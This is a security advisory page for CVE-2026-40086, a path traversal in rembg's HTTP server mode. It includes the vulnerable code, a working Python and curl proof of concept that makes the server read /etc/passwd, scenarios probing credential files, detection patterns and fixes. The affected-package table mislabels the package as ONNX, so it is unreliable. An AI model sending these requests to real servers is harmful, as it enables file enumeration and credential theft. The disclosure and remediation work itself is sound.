CVE-2026-40086: rembg: path traversal exposes arbitrary files via HTTP API
GHSA-3wqj-33cg-xc48 MEDIUM CISA: TRACK*rembg's HTTP server mode (`rembg s`) allows any unauthenticated remote attacker to read arbitrary files from the server's filesystem by injecting a malicious `model_path` value into the `extras` JSON query parameter — no credentials, no prior access, and no specialized knowledge required. With 1,102 downstream dependents and trivially low exploitation complexity (a single crafted HTTP POST suffices), any deployment exposing rembg's API port risks leaking environment files, database credentials, SSH keys, and system configurations through differential onnxruntime error messages. The root cause is a design boundary violation: a feature built exclusively for local CLI use was inadvertently exposed via the HTTP API without input validation. Upgrade to rembg 2.0.75 immediately, and as an interim control ensure the rembg server is bound to localhost only and placed behind an authenticated reverse proxy.
What is the risk?
Despite the CVSS 5.3 Medium score, the operational risk for any rembg HTTP server deployment is significantly higher. The attack is unauthenticated, requires no user interaction, and demands no AI or security expertise — a single HTTP POST with a crafted JSON body is the complete exploit. Cloud and containerized deployments that expose port 7000 to internal networks or the public internet are fully exposed to filesystem enumeration and credential harvesting. The OpenSSF scorecard of 8.1/10 reflects reasonable project hygiene but does not mitigate this exposure. Risk should be treated as HIGH for any environment running rembg in server mode outside of a strictly isolated context.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| ONNX | pip | < 2.0.75 | 2.0.75 |
Do you use ONNX? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Patch now
Upgrade rembg to version 2.0.75, which removes custom model loading from the HTTP API surface.
-
Interim network control
Bind the rembg server to 127.0.0.1 only; never expose port 7000 to any network without authentication in front of it.
-
Reverse proxy with auth
Place rembg behind nginx or Caddy with basic or token authentication before any external-facing deployment.
-
Least privilege
Run the rembg process as a low-privilege user with read access scoped to model directories only; use read-only filesystem mounts for containers.
-
Detection
Grep server logs for
extrasparameters containing path separators (/,..,~); alert on onnxruntime error stringsProtobuf parsing failedorNO_SUCHFILEreferencing non-model paths. -
Audit exposure
Scan internal networks for port 7000 to identify any unprotected rembg instances.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-40086?
rembg's HTTP server mode (`rembg s`) allows any unauthenticated remote attacker to read arbitrary files from the server's filesystem by injecting a malicious `model_path` value into the `extras` JSON query parameter — no credentials, no prior access, and no specialized knowledge required. With 1,102 downstream dependents and trivially low exploitation complexity (a single crafted HTTP POST suffices), any deployment exposing rembg's API port risks leaking environment files, database credentials, SSH keys, and system configurations through differential onnxruntime error messages. The root cause is a design boundary violation: a feature built exclusively for local CLI use was inadvertently exposed via the HTTP API without input validation. Upgrade to rembg 2.0.75 immediately, and as an interim control ensure the rembg server is bound to localhost only and placed behind an authenticated reverse proxy.
Is CVE-2026-40086 actively exploited?
No confirmed active exploitation of CVE-2026-40086 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-40086?
1. **Patch now**: Upgrade rembg to version 2.0.75, which removes custom model loading from the HTTP API surface. 2. **Interim network control**: Bind the rembg server to 127.0.0.1 only; never expose port 7000 to any network without authentication in front of it. 3. **Reverse proxy with auth**: Place rembg behind nginx or Caddy with basic or token authentication before any external-facing deployment. 4. **Least privilege**: Run the rembg process as a low-privilege user with read access scoped to model directories only; use read-only filesystem mounts for containers. 5. **Detection**: Grep server logs for `extras` parameters containing path separators (`/`, `..`, `~`); alert on onnxruntime error strings `Protobuf parsing failed` or `NO_SUCHFILE` referencing non-model paths. 6. **Audit exposure**: Scan internal networks for port 7000 to identify any unprotected rembg instances.
What systems are affected by CVE-2026-40086?
This vulnerability affects the following AI/ML architecture patterns: model serving, AI/ML API services, containerized ML workloads.
What is the CVSS score for CVE-2026-40086?
CVE-2026-40086 has a CVSS v3.1 base score of 5.3 (MEDIUM). The EPSS exploitation probability is 0.59%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0006 Active Scanning AML.T0025 Exfiltration via Cyber Means AML.T0037 Data from Local System AML.T0049 Exploit Public-Facing Application Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary A **path traversal vulnerability** in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. **CWE IDs:** CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path) --- ## Details ### Vulnerable Code Flow The vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`). **1. Entry Point** - [`rembg/commands/s_command.py`](https://github.com/danielgatis/rembg/blob/main/rembg/commands/s_command.py#L191-L202) ```python def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response: kwargs = {} if commons.extras: try: kwargs.update(json.loads(commons.extras)) # ❌ No validation except Exception: pass # ... session = new_session(commons.model, **kwargs) # Passes arbitrary kwargs ``` The `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation. **2. Path Handling** - [`rembg/sessions/u2net_custom.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/u2net_custom.py#L79-L83) ```python @classmethod def download_models(cls, *args, **kwargs): model_path = kwargs.get("model_path") if model_path is None: raise ValueError("model_path is required") return os.path.abspath(os.path.expanduser(model_path)) # ❌ No path validation ``` The `model_path` is returned with tilde expansion but no validation against path traversal. **3. File Read** - [`rembg/sessions/base.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/base.py#L34-L38) ```python self.inner_session = ort.InferenceSession( str(self.__class__.download_models(*args, **kwargs)), # Reads file # ... ) ``` The path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file. ### Root Cause The custom model feature was designed for **CLI usage** where users already have local filesystem access. However, this feature is also exposed via the **HTTP API** without any restrictions, creating a security boundary violation. --- ## PoC ### Prerequisites - Python 3.10+ - rembg installed with CLI support: `pip install "rembg[cpu,cli]"` ### Step 1: Start the Vulnerable Server Open a terminal and run: ```bash rembg s --host 0.0.0.0 --port 7000 ``` You should see output like: ``` To access the API documentation, go to http://localhost:7000/api To access the UI, go to http://localhost:7000 ``` ### Step 2: Send the Exploit Request Open a **second terminal** and run this Python script: ```python import requests import json import urllib.parse from io import BytesIO # Minimal valid 1x1 PNG image (required for the request) MINIMAL_PNG = bytes([ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53, 0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41, 0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F, 0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82 ]) # Target paths to test test_paths = [ "/etc/passwd", # System file (should exist) "/nonexistent/file.txt", # Non-existent file ] for path in test_paths: print(f"\n[*] Testing path: {path}") # Build request - extras must be in URL query string extras = json.dumps({"model_path": path}) url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}" response = requests.post( url, files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")}, data={"model": "u2net_custom"}, timeout=30 ) print(f" Status: {response.status_code}") print(f" Response: {response.text[:100]}") ``` Or use **curl** directly: ```bash # Create a minimal PNG file python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png # Send exploit request targeting /etc/passwd curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \ -F "model=u2net_custom" \ -F "file=@/tmp/test.png" ``` ### Step 3: Verify in Server Logs Go back to the **first terminal** where the server is running. You will see error messages like: ``` onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: [ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed. ``` ``` onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: [ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist ``` ### Understanding the Results | Server Log Message | What It Proves | |-------------------|----------------| | `Load model from /etc/passwd failed:Protobuf parsing failed` | ✅ File **exists and was read** by onnxruntime | | `Load model from /etc/shadow failed:Permission denied` | ✅ File **exists** but process lacks permission | | `Load model from /nonexistent/... failed. File doesn't exist` | ✅ File **does not exist** - enables enumeration | **The key proof:** The message `"Load model from /etc/passwd failed:Protobuf parsing failed"` proves that: 1. The attacker-controlled path was passed through without validation 2. `onnxruntime.InferenceSession()` attempted to **read the file contents** 3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf --- ## Impact ### Who is Affected? - **All users** running `rembg s` (HTTP server mode) - **Cloud deployments** where rembg is exposed as an API service - **Docker containers** running rembg server ### Attack Scenarios 1. **Information Disclosure**: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files) 2. **Credential Discovery**: Attacker checks for common credential files 3. **Infrastructure Mapping**: Attacker discovers installed software and system configuration 4. **Denial of Service**: Attacker attempts to load very large files, exhausting memory ### What is NOT Affected? - CLI usage (`rembg i`, `rembg p`) - users already have local file access - Library usage - developers control the input --- ## Recommended Fix ### Option 1: Disable Custom Models for HTTP API (Recommended) Remove custom model types from the HTTP API session list: ```python # In s_command.py, filter out custom models ALLOWED_HTTP_MODELS = [ name for name in sessions_names if not name.endswith('_custom') ] # Use ALLOWED_HTTP_MODELS in the model parameter regex model: str = Query( regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")", default="u2net", ) ``` ### Option 2: Validate model_path Against Allowlist If custom models must be supported via HTTP: ```python import os ALLOWED_MODEL_DIRS = [ os.path.expanduser("~/.u2net"), "/app/models", # or your designated model directory ] def validate_model_path(path: str) -> str: """Validate model path is within allowed directories.""" abs_path = os.path.abspath(os.path.expanduser(path)) for allowed_dir in ALLOWED_MODEL_DIRS: allowed_abs = os.path.abspath(allowed_dir) if abs_path.startswith(allowed_abs + os.sep): return abs_path raise ValueError(f"model_path must be within allowed directories") ``` ### Option 3: Document Security Considerations At minimum, add security warnings to the documentation: ```markdown ⚠️ **Security Warning**: When running `rembg s` in production: - Do NOT expose the server directly to the internet - Use a reverse proxy with authentication - Consider disabling custom model support ``` --- ## References - **CWE-22**: [Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - **CWE-73**: [External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html) - **OWASP Path Traversal**: [Path Traversal Attack](https://owasp.org/www-community/attacks/Path_Traversal) ---
Exploitation Scenario
An adversary performing internal reconnaissance after initial network access — or scanning exposed cloud infrastructure — identifies a rembg HTTP server on port 7000. They submit a POST request to `/api/remove?extras=%7B%22model_path%22%3A%22%2Fapp%2F.env%22%7D` with a minimal 1×1 PNG. The server passes the unsanitized path directly to onnxruntime, which reads the `.env` file and returns an error confirming it was read but is not a valid ONNX protobuf. The attacker iterates across common credential paths — AWS credentials (`~/.aws/credentials`), database URIs, Stripe or OpenAI API keys embedded in environment files — building a complete credential map. These credentials are then used to pivot into cloud infrastructure, connected databases, or upstream AI service accounts. The entire attack leaves minimal traces beyond standard HTTP access logs.
Weaknesses (CWE)
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Primary
CWE-73 External Control of File Name or Path
Primary
CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N References
Timeline
Related Vulnerabilities
CVE-2026-28500 9.1 onnx: Integrity Verification bypass enables tampering
Same package: onnx CVE-2024-5187 8.8 ONNX: path traversal in model download enables RCE
Same package: onnx CVE-2026-34445 8.6 ONNX: property overwrite via crafted model file
Same package: onnx CVE-2024-7776 8.1 ONNX: path traversal in download_model enables RCE
Same package: onnx GHSA-q56x-g2fj-4rj6 7.1 onnx: TOCTOU symlink following enables arbitrary file write
Same package: onnx